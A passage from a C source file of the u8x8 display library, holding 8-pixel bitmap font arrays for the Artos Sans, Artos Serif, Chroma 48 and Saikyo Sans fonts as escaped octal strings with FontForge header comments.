\\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0_\\0\\0\\0\\0\\0\\3\\0\\0\\0\\3\\0\\0\\0\\42\\177\\42\"\n  \"\\42\\177\\42\\0\\0$*k*\\22\\0\\0B%\\22\\10$R!\\0\\0 VIIU\\42P\\0\\0\\0\\0\"\n  \"\\3\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\0\\12\\4\\37\\4\\12\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0@\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\0>AAA>\\0\\0\\0@B\\177@@\\0\\0\\0bQIIF\\0\\0\\0\\42AI\"\n  \"I\\66\\0\\0\\0\\34\\22\\21\\177\\20\\0\\0\\0'EEE\\71\\0\\0\\0>III\\62\\0\\0\\0\\1\\1y\"\n  \"\\5\\3\\0\\0\\0\\66III\\66\\0\\0\\0&III>\\0\\0\\0\\0\\0\\22\\0\\0\\0\\0\\0\\0\\0 \"\n  \"\\22\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1Y\"\n  \"\\11\\6\\0\\0<B\\231\\245\\245\\271\\42\\34`\\30\\26\\21\\26\\30`\\0\\177IIIII\\66\\0>AAA\"\n  \"AA\\42\\0\\177AAAAA>\\0\\177IIIIAA\\0\\177\\11\\11\\11\\11\\1\\1\\0>AAA\"\n  \"II:\\0\\177\\10\\10\\10\\10\\10\\177\\0\\0AA\\177AA\\0\\0 @@@@@\\77\\0\\177\\10\\10\\10\"\n  \"\\24\\42A\\0\\177@@@@@@\\0\\177\\2\\4\\10\\4\\2\\177\\0\\177\\2\\4\\10\\20 \\177\\0>AAA\"\n  \"AA>\\0\\177\\21\\21\\21\\21\\21\\16\\0>AAAaA\\276\\0\\177\\11\\11\\11\\11\\31f\\0&III\"\n  \"II\\62\\0\\1\\1\\1\\177\\1\\1\\1\\0\\77@@@@@\\77\\0\\17\\20 @ \\20\\17\\0\\37` \\34\"\n  \" `\\37\\0A\\42\\24\\10\\24\\42A\\0\\3\\4\\10p\\10\\4\\3\\0AaQIECA\\0\\0\\0\\177A\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0\\0\\0AA\\177\\0\\0\\0\\4\\2\\1\\2\\4\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\1\\2\\0\\0\\0\\0 TTTTx\\0\\0\\177DDDD\\70\\0\\0\\70DD\"\n  \"DD(\\0\\0\\70DDDD\\177\\0\\0\\70TTTTH\\0\\0\\0\\4~\\5\\1\\0\\0\\0\\30\\244\\244\"\n  \"\\244\\244|\\0\\0\\177\\4\\4\\4\\4x\\0\\0\\0D}@\\0\\0\\0\\0@\\200\\200\\204}\\0\\0\\0\\177\\20\\20\"\n  \"\\20(D\\0\\0\\0\\1\\177\\0\\0\\0\\0|\\4\\4|\\4\\4x\\0\\0|\\4\\4\\4\\4x\\0\\0\\70DD\"\n  \"DD\\70\\0\\0\\374DDDD\\70\\0\\0\\70DDDD\\374\\0\\0|\\10\\4\\4\\4\\4\\0\\0HTT\"\n  \"TT$\\0\\0\\0\\4\\77D@\\0\\0\\0<@@@@|\\0\\0\\34 @@ \\34\\0\\0<@@\"\n  \"\\70@@<\\0D(\\20(D\\0\\0\\0\\34\\240\\240\\240\\240|\\0\\0DdTLD\\0\\0\\0\\0\\10\\66\"\n  \"A\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0A\\66\\10\\0\\0\\10\\4\\4\\10\\20\\20\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Artos Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 18/170\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_artossans8_n[220] U8X8_FONT_SECTION(\"u8x8_font_artossans8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\24\\10>\\10\\24\\0\\0\\20\\20|\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\200\\0\\0\\0\\0\\200@ \\20\"\n  \"\\10\\4\\2\\0\\0|\\202\\202\\202|\\0\\0\\0\\200\\204\\376\\200\\200\\0\\0\\0\\304\\242\\222\\222\\214\\0\\0\\0D\\202\\222\"\n  \"\\222l\\0\\0\\0\\70$\\42\\376 \\0\\0\\0N\\212\\212\\212r\\0\\0\\0|\\222\\222\\222d\\0\\0\\0\\2\\2\\362\"\n  \"\\12\\6\\0\\0\\0l\\222\\222\\222l\\0\\0\\0L\\222\\222\\222|\\0\\0\\0\\0\\0$\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Artos Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 64/170\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_artossans8_u[517] U8X8_FONT_SECTION(\"u8x8_font_artossans8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0_\\0\\0\\0\\0\\0\\3\\0\\0\\0\\3\\0\\0\\0\\42\\177\\42\"\n  \"\\42\\177\\42\\0\\0$*k*\\22\\0\\0B%\\22\\10$R!\\0\\0 VIIU\\42P\\0\\0\\0\\0\"\n  \"\\3\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\0\\12\\4\\37\\4\\12\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0@\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\0>AAA>\\0\\0\\0@B\\177@@\\0\\0\\0bQIIF\\0\\0\\0\\42AI\"\n  \"I\\66\\0\\0\\0\\34\\22\\21\\177\\20\\0\\0\\0'EEE\\71\\0\\0\\0>III\\62\\0\\0\\0\\1\\1y\"\n  \"\\5\\3\\0\\0\\0\\66III\\66\\0\\0\\0&III>\\0\\0\\0\\0\\0\\22\\0\\0\\0\\0\\0\\0\\0 \"\n  \"\\22\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1Y\"\n  \"\\11\\6\\0\\0<B\\231\\245\\245\\271\\42\\34`\\30\\26\\21\\26\\30`\\0\\177IIIII\\66\\0>AAA\"\n  \"AA\\42\\0\\177AAAAA>\\0\\177IIIIAA\\0\\177\\11\\11\\11\\11\\1\\1\\0>AAA\"\n  \"II:\\0\\177\\10\\10\\10\\10\\10\\177\\0\\0AA\\177AA\\0\\0 @@@@@\\77\\0\\177\\10\\10\\10\"\n  \"\\24\\42A\\0\\177@@@@@@\\0\\177\\2\\4\\10\\4\\2\\177\\0\\177\\2\\4\\10\\20 \\177\\0>AAA\"\n  \"AA>\\0\\177\\21\\21\\21\\21\\21\\16\\0>AAAaA\\276\\0\\177\\11\\11\\11\\11\\31f\\0&III\"\n  \"II\\62\\0\\1\\1\\1\\177\\1\\1\\1\\0\\77@@@@@\\77\\0\\17\\20 @ \\20\\17\\0\\37` \\34\"\n  \" `\\37\\0A\\42\\24\\10\\24\\42A\\0\\3\\4\\10p\\10\\4\\3\\0AaQIECA\\0\\0\\0\\177A\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0\\0\\0AA\\177\\0\\0\\0\\4\\2\\1\\2\\4\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FontForge-Artos Serif-Medium-R-Normal--8-80-75-75-M-80-ISO8859-1\n  Copyright: (null)\n  Glyphs: 95/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_artosserif8_r[764] U8X8_FONT_SECTION(\"u8x8_font_artosserif8_r\") = \n  \" ~\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0_\\0\\0\\0\\0\\0\\3\\0\\0\\0\\3\\0\\0\\0\\42\\177\\42\"\n  \"\\42\\177\\42\\0\\0$*k*\\22\\0\\0B%\\22\\10$R!\\0\\0 VIIU\\42P\\0\\0\\0\\0\"\n  \"\\3\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\0\\12\\4\\37\\4\\12\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0@\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\0>AAA>\\0\\0\\0@B\\177@@\\0\\0\\0bQIIF\\0\\0\\0\\42AI\"\n  \"I\\66\\0\\0\\0\\34\\22Q\\177P\\0\\0\\0'EEE\\71\\0\\0\\0>III\\62\\0\\0\\0\\1\\1y\"\n  \"\\5\\3\\0\\0\\0\\66III\\66\\0\\0\\0&III>\\0\\0\\0\\0\\0\\22\\0\\0\\0\\0\\0\\0\\0 \"\n  \"\\22\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1Y\"\n  \"\\11\\6\\0\\0<B\\231\\245\\245\\271\\42\\34@xV\\21Vx@\\0A\\177IIII\\66\\0\\34\\42AA\"\n  \"AA\\42\\0A\\177AAAA>\\0A\\177IIIAc\\0A\\177I\\11\\11\\1\\3\\0\\34\\42AA\"\n  \"II:\\0A\\177I\\10I\\177A\\0\\0\\0A\\177A\\0\\0\\0 @@@A\\77\\1\\0A\\177I\\10\"\n  \"UcA\\0A\\177A@@@`\\0A\\177E\\10E\\177A\\0A\\177E\\10Q\\177A\\0\\0>AA\"\n  \"AA>\\0A\\177Q\\21\\21\\21\\16\\0\\0>AAaA\\276\\0A\\177I\\11\\11Iv@&III\"\n  \"II\\62\\0\\3\\1A\\177A\\1\\3\\0\\1\\77A@A\\77\\1\\0\\1\\17\\61@\\61\\17\\1\\0\\1\\177!\\34\"\n  \"!\\177\\1\\0AcU\\10UcA\\0\\1\\7IpI\\7\\1\\0CaQIECa\\0\\0\\0\\177A\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0\\0\\0AA\\177\\0\\0\\0\\4\\2\\1\\2\\4\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\1\\2\\0\\0\\0\\0 TTTx\\0\\0\\0\\177DDD\\70\\0\\0\\0\\70DD\"\n  \"D(\\0\\0\\0\\70DDD\\177\\0\\0\\0\\70TTTH\\0\\0\\0\\0\\4~\\5\\1\\0\\0\\0\\30\\244\\244\"\n  \"\\244|\\0\\0\\0\\177\\4\\4\\4x\\0\\0\\0\\0D}@\\0\\0\\0\\0@\\200\\200\\204}\\0\\0\\0\\177\\20\\20\"\n  \"(D\\0\\0\\0\\0A\\177@\\0\\0\\0\\0|\\4x\\4x\\0\\0\\0|\\10\\4\\4x\\0\\0\\0\\70DD\"\n  \"D\\70\\0\\0\\0\\374DDD\\70\\0\\0\\0\\70DDD\\374\\0\\0\\0|\\10\\4\\4\\4\\0\\0\\0HTT\"\n  \"T$\\0\\0\\0\\0\\4\\77D@\\0\\0\\0<@@@|\\0\\0\\0\\34 @ \\34\\0\\0\\0<@\\60\"\n  \"@<\\0\\0\\0D(\\20(D\\0\\0\\0\\34\\240\\240\\240|\\0\\0\\0DdTLD\\0\\0\\0\\0\\10\\66\"\n  \"A\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0\\0A\\66\\10\\0\\0\\10\\4\\4\\10\\20\\20\\10\";\n/*\n  Fontname: -FontForge-Artos Serif-Medium-R-Normal--8-80-75-75-M-80-ISO8859-1\n  Copyright: (null)\n  Glyphs: 18/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_artosserif8_n[220] U8X8_FONT_SECTION(\"u8x8_font_artosserif8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\24\\10>\\10\\24\\0\\0\\20\\20|\"\n  \"\\20\\20\\0\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\200\\0\\0\\0\\0\\200@ \\20\"\n  \"\\10\\4\\2\\0\\0|\\202\\202\\202|\\0\\0\\0\\200\\204\\376\\200\\200\\0\\0\\0\\304\\242\\222\\222\\214\\0\\0\\0D\\202\\222\"\n  \"\\222l\\0\\0\\0\\70$\\242\\376\\240\\0\\0\\0N\\212\\212\\212r\\0\\0\\0|\\222\\222\\222d\\0\\0\\0\\2\\2\\362\"\n  \"\\12\\6\\0\\0\\0l\\222\\222\\222l\\0\\0\\0L\\222\\222\\222|\\0\\0\\0\\0\\0$\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Artos Serif-Medium-R-Normal--8-80-75-75-M-80-ISO8859-1\n  Copyright: (null)\n  Glyphs: 64/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_artosserif8_u[517] U8X8_FONT_SECTION(\"u8x8_font_artosserif8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0_\\0\\0\\0\\0\\0\\3\\0\\0\\0\\3\\0\\0\\0\\42\\177\\42\"\n  \"\\42\\177\\42\\0\\0$*k*\\22\\0\\0B%\\22\\10$R!\\0\\0 VIIU\\42P\\0\\0\\0\\0\"\n  \"\\3\\0\\0\\0\\0\\0\\34\\42A\\0\\0\\0\\0\\0\\0A\\42\\34\\0\\0\\0\\0\\12\\4\\37\\4\\12\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0@\\0\\0\\0\\0@ \\20\\10\"\n  \"\\4\\2\\1\\0\\0>AAA>\\0\\0\\0@B\\177@@\\0\\0\\0bQIIF\\0\\0\\0\\42AI\"\n  \"I\\66\\0\\0\\0\\34\\22Q\\177P\\0\\0\\0'EEE\\71\\0\\0\\0>III\\62\\0\\0\\0\\1\\1y\"\n  \"\\5\\3\\0\\0\\0\\66III\\66\\0\\0\\0&III>\\0\\0\\0\\0\\0\\22\\0\\0\\0\\0\\0\\0\\0 \"\n  \"\\22\\0\\0\\0\\0\\0\\10\\24\\42A\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0\\0A\\42\\24\\10\\0\\0\\2\\1Y\"\n  \"\\11\\6\\0\\0<B\\231\\245\\245\\271\\42\\34@xV\\21Vx@\\0A\\177IIII\\66\\0\\34\\42AA\"\n  \"AA\\42\\0A\\177AAAA>\\0A\\177IIIAc\\0A\\177I\\11\\11\\1\\3\\0\\34\\42AA\"\n  \"II:\\0A\\177I\\10I\\177A\\0\\0\\0A\\177A\\0\\0\\0 @@@A\\77\\1\\0A\\177I\\10\"\n  \"UcA\\0A\\177A@@@`\\0A\\177E\\10E\\177A\\0A\\177E\\10Q\\177A\\0\\0>AA\"\n  \"AA>\\0A\\177Q\\21\\21\\21\\16\\0\\0>AAaA\\276\\0A\\177I\\11\\11Iv@&III\"\n  \"II\\62\\0\\3\\1A\\177A\\1\\3\\0\\1\\77A@A\\77\\1\\0\\1\\17\\61@\\61\\17\\1\\0\\1\\177!\\34\"\n  \"!\\177\\1\\0AcU\\10UcA\\0\\1\\7IpI\\7\\1\\0CaQIECa\\0\\0\\0\\177A\"\n  \"A\\0\\0\\0\\1\\2\\4\\10\\20 @\\0\\0\\0\\0AA\\177\\0\\0\\0\\4\\2\\1\\2\\4\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FontForge-Chroma 48-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 96/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_chroma48medium8_r[772] U8X8_FONT_SECTION(\"u8x8_font_chroma48medium8_r\") = \n  \" \\177\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0^\\0\\0\\0\\0\\0\\0\\6\\0\\0\\6\\0\\0\\0$~$\"\n  \"$~$\\0\\0$k**k\\22\\0\\0F&\\20\\10db\\0\\0\\64JJT P\\0\\0\\0\\0\\0\"\n  \"\\6\\0\\0\\0\\0\\0\\0<B\\0\\0\\0\\0\\0\\0B<\\0\\0\\0\\0*\\34>\\34*\\0\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0@\\0\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0<bRJF<\\0\\0@D~@@\\0\\0\\0dRRRRL\\0\\0$BJ\"\n  \"JJ\\64\\0\\0\\70$\\42\\42~ \\0\\0.JJJJ\\62\\0\\0<JJJJ\\60\\0\\0\\2\\2b\"\n  \"\\22\\12\\6\\0\\0\\64JJJJ\\64\\0\\0\\14RRRR<\\0\\0\\0\\0$\\0\\0\\0\\0\\0\\0@$\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\24\\42\\0\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0\\0\\42\\24\\10\\0\\0\\0\\4\\2R\"\n  \"\\12\\4\\0\\0\\0\\30$ZZ$\\30\\0\\0|\\22\\22\\22\\22|\\0\\0~JJJJ\\64\\0\\0<BB\"\n  \"BB$\\0\\0~BBBB<\\0\\0~JJJBB\\0\\0~\\12\\12\\12\\2\\2\\0\\0<BB\"\n  \"RR\\64\\0\\0~\\10\\10\\10\\10~\\0\\0\\0B~B\\0\\0\\0\\0 @@@@>\\0\\0~\\10\\10\"\n  \"\\10\\24b\\0\\0~@@@@@\\0\\0~\\4\\10\\10\\4~\\0\\0~\\4\\10\\20 ~\\0\\0<BB\"\n  \"BB<\\0\\0~\\22\\22\\22\\22\\14\\0\\0<BRbB<\\0\\0~\\22\\22\\22\\62L\\0\\0$JJ\"\n  \"JJ\\60\\0\\0\\2\\2~\\2\\2\\0\\0\\0>@@@@>\\0\\0\\36 @@ \\36\\0\\0~ \\20\"\n  \"\\20 ~\\0\\0B$\\30\\30$B\\0\\0\\2\\4x\\4\\2\\0\\0\\0BbRJFB\\0\\0\\0~B\"\n  \"B\\0\\0\\0\\0\\2\\4\\10\\20 @\\0\\0\\0\\0BB~\\0\\0\\0\\0\\0\\4\\2\\4\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\\0\\0\\0\\2\\4\\0\\0\\0\\0 TTTx\\0\\0\\0~HHH\\60\\0\\0\\0\\70DD\"\n  \"D(\\0\\0\\0\\60HHH~\\0\\0\\0\\70TTTH\\0\\0\\0\\0\\10|\\12\\2\\0\\0\\0\\30\\244\\244\"\n  \"\\244|\\0\\0\\0~\\10\\10\\10p\\0\\0\\0\\0Hz@\\0\\0\\0\\0@\\200\\200\\210z\\0\\0\\0~\\20\\20\"\n  \"(D\\0\\0\\0\\0B~@\\0\\0\\0\\0|\\4x\\4x\\0\\0\\0|\\4\\4\\4x\\0\\0\\0\\70DD\"\n  \"D\\70\\0\\0\\0\\374DDD\\70\\0\\0\\0\\70DDD\\374\\0\\0\\0|\\10\\4\\4\\4\\0\\0\\0HTT\"\n  \"T$\\0\\0\\0\\0\\4>D\\0\\0\\0\\0<@@ |\\0\\0\\0\\34 @ \\34\\0\\0\\0\\34`\\34\"\n  \"`\\34\\0\\0\\0D(\\20(D\\0\\0\\0\\34\\240\\240\\240|\\0\\0\\0DdTLD\\0\\0\\0\\0\\10\\66\"\n  \"A\\0\\0\\0\\0\\0\\0\\377\\0\\0\\0\\0\\0\\0A\\66\\10\\0\\0\\0\\10\\4\\4\\10\\20\\20\\10\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Chroma 48-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 18/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_chroma48medium8_n[220] U8X8_FONT_SECTION(\"u8x8_font_chroma48medium8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0T\\70|\\70T\\0\\0\\0\\20\\20|\"\n  \"\\20\\20\\0\\0\\0\\0\\200`\\0\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\200\\0\\0\\0\\0\\0\\200@ \"\n  \"\\20\\10\\4\\0\\0x\\304\\244\\224\\214x\\0\\0\\200\\210\\374\\200\\200\\0\\0\\0\\310\\244\\244\\244\\244\\230\\0\\0H\\204\\224\"\n  \"\\224\\224h\\0\\0pHDD\\374@\\0\\0\\134\\224\\224\\224\\224d\\0\\0x\\224\\224\\224\\224`\\0\\0\\4\\4\\304\"\n  \"$\\24\\14\\0\\0h\\224\\224\\224\\224h\\0\\0\\30\\244\\244\\244\\244x\\0\\0\\0\\0H\\0\\0\\0\";\n/*\n  Fontname: -FontForge-Chroma 48-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 64/98\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_chroma48medium8_u[517] U8X8_FONT_SECTION(\"u8x8_font_chroma48medium8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0^\\0\\0\\0\\0\\0\\0\\6\\0\\0\\6\\0\\0\\0$~$\"\n  \"$~$\\0\\0$k**k\\22\\0\\0F&\\20\\10db\\0\\0\\64JJT P\\0\\0\\0\\0\\0\"\n  \"\\6\\0\\0\\0\\0\\0\\0<B\\0\\0\\0\\0\\0\\0B<\\0\\0\\0\\0*\\34>\\34*\\0\\0\\0\\10\\10>\"\n  \"\\10\\10\\0\\0\\0\\0@\\60\\0\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0@\\0\\0\\0\\0\\0@ \\20\"\n  \"\\10\\4\\2\\0\\0<bRJF<\\0\\0@D~@@\\0\\0\\0dRRRRL\\0\\0$BJ\"\n  \"JJ\\64\\0\\0\\70$\\42\\42~ \\0\\0.JJJJ\\62\\0\\0<JJJJ\\60\\0\\0\\2\\2b\"\n  \"\\22\\12\\6\\0\\0\\64JJJJ\\64\\0\\0\\14RRRR<\\0\\0\\0\\0$\\0\\0\\0\\0\\0\\0@$\"\n  \"\\0\\0\\0\\0\\0\\0\\10\\24\\42\\0\\0\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0\\0\\42\\24\\10\\0\\0\\0\\4\\2R\"\n  \"\\12\\4\\0\\0\\0\\30$ZZ$\\30\\0\\0|\\22\\22\\22\\22|\\0\\0~JJJJ\\64\\0\\0<BB\"\n  \"BB$\\0\\0~BBBB<\\0\\0~JJJBB\\0\\0~\\12\\12\\12\\2\\2\\0\\0<BB\"\n  \"RR\\64\\0\\0~\\10\\10\\10\\10~\\0\\0\\0B~B\\0\\0\\0\\0 @@@@>\\0\\0~\\10\\10\"\n  \"\\10\\24b\\0\\0~@@@@@\\0\\0~\\4\\10\\10\\4~\\0\\0~\\4\\10\\20 ~\\0\\0<BB\"\n  \"BB<\\0\\0~\\22\\22\\22\\22\\14\\0\\0<BRbB<\\0\\0~\\22\\22\\22\\62L\\0\\0$JJ\"\n  \"JJ\\60\\0\\0\\2\\2~\\2\\2\\0\\0\\0>@@@@>\\0\\0\\36 @@ \\36\\0\\0~ \\20\"\n  \"\\20 ~\\0\\0B$\\30\\30$B\\0\\0\\2\\4x\\4\\2\\0\\0\\0BbRJFB\\0\\0\\0~B\"\n  \"B\\0\\0\\0\\0\\2\\4\\10\\20 @\\0\\0\\0\\0BB~\\0\\0\\0\\0\\0\\4\\2\\4\\0\\0\\200\\200\\200\\200\"\n  \"\\200\\200\\200\\200\";\n/*\n  Fontname: -FontForge-Saikyo Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 18/72\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_saikyosansbold8_n[220] U8X8_FONT_SECTION(\"u8x8_font_saikyosansbold8_n\") = \n  \" :\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10*>\\34>*\\10\\0\\0\\20\\20|\"\n  \"|\\20\\20\\0\\0\\0\\200\\340`\\0\\0\\0\\0\\20\\20\\20\\20\\20\\20\\0\\0\\0\\0\\300\\300\\0\\0\\0\\0\\300`\\60\"\n  \"\\30\\14\\6\\0|\\376\\202\\202\\202\\376|\\0\\0\\200\\204\\376\\376\\200\\200\\0\\304\\346\\262\\222\\222\\236\\214\\0D\\306\\222\\222\"\n  \"\\222\\376l\\0\\70<&\\42\\376\\376 \\0N\\316\\212\\212\\212\\372r\\0|\\376\\222\\222\\222\\366d\\0\\6\\6\\2\\362\"\n  \"\\372\\16\\6\\0l\\376\\222\\222\\222\\376l\\0L\\336\\222\\222\\222\\376|\\0\\0\\0\\0ll\\0\\0\";\n/*\n  Fontname: -FontForge-Saikyo Sans-Medium-R-Normal-Sans-8-80-75-75-P-50-ISO10646-1\n  Copyright: (null)\n  Glyphs: 64/72\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_saikyosansbold8_u[517] U8X8_FONT_SECTION(\"u8x8_font_saikyosansbold8_u\") = \n  \" _\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0__\\0\\0\\0\\0\\7\\7\\0\\0\\7\\7\\0\\0\\42\\177\\177\"\n  \"\\42\\177\\177\\42$.*k*:\\22\\0Ff\\60\\30\\14fb\\0 v_I\\77vP\\0\\0\\0\\0\\7\"\n  \"\\7\\0\\0\\0\\0\\0\\34>cA\\0\\0\\0\\0Ac>\\34\\0\\0\\4\\25\\37\\16\\37\\25\\4\\0\\0\\10\\10>\"\n  \">\\10\\10\\0\\0\\0@p\\60\\0\\0\\0\\0\\10\\10\\10\\10\\10\\10\\0\\0\\0\\0``\\0\\0\\0\\0`\\60\\30\"\n  \"\\14\\6\\3\\0>\\177AAA\\177>\\0\\0@B\\177\\177@@\\0bsYIIOF\\0\\42cII\"\n  \"I\\177\\66\\0\\34\\36\\23\\21\\177\\177\\20\\0'gEEE}\\71\\0>\\177III{\\62\\0\\3\\3\\1y\"\n  \"}\\7\\3\\0\\66\\177III\\177\\66\\0&oIII\\177>\\0\\0\\0\\0\\66\\66\\0\\0\\0\\0\\0@v\"\n  \"\\66\\0\\0\\0\\0\\0\\10\\34\\66cA\\0\\0\\24\\24\\24\\24\\24\\24\\0\\0\\0Ac\\66\\34\\10\\0\\0\\2\\1Y\"\n  \"Y\\17\\6\\0<B\\231\\245\\245\\271\\42\\34~\\177\\21\\21\\21\\177~\\0\\177\\177III\\177\\66\\0>\\177AA\"\n  \"Ac\\42\\0\\177\\177AAA\\177>\\0\\177\\177IIIIA\\0\\177\\177\\11\\11\\11\\1\\1\\0>\\177AA\"\n  \"I{:\\0\\177\\177\\10\\10\\10\\177\\177\\0\\0\\0\\0\\177\\177\\0\\0\\0 `@@@\\177\\77\\0\\177\\177\\10\\34\"\n  \"\\66cA\\0\\177\\177@@@@@\\0\\177\\177\\6\\14\\6\\177\\177\\0\\177\\177\\6\\14\\30\\177\\177\\0>\\177AA\"\n  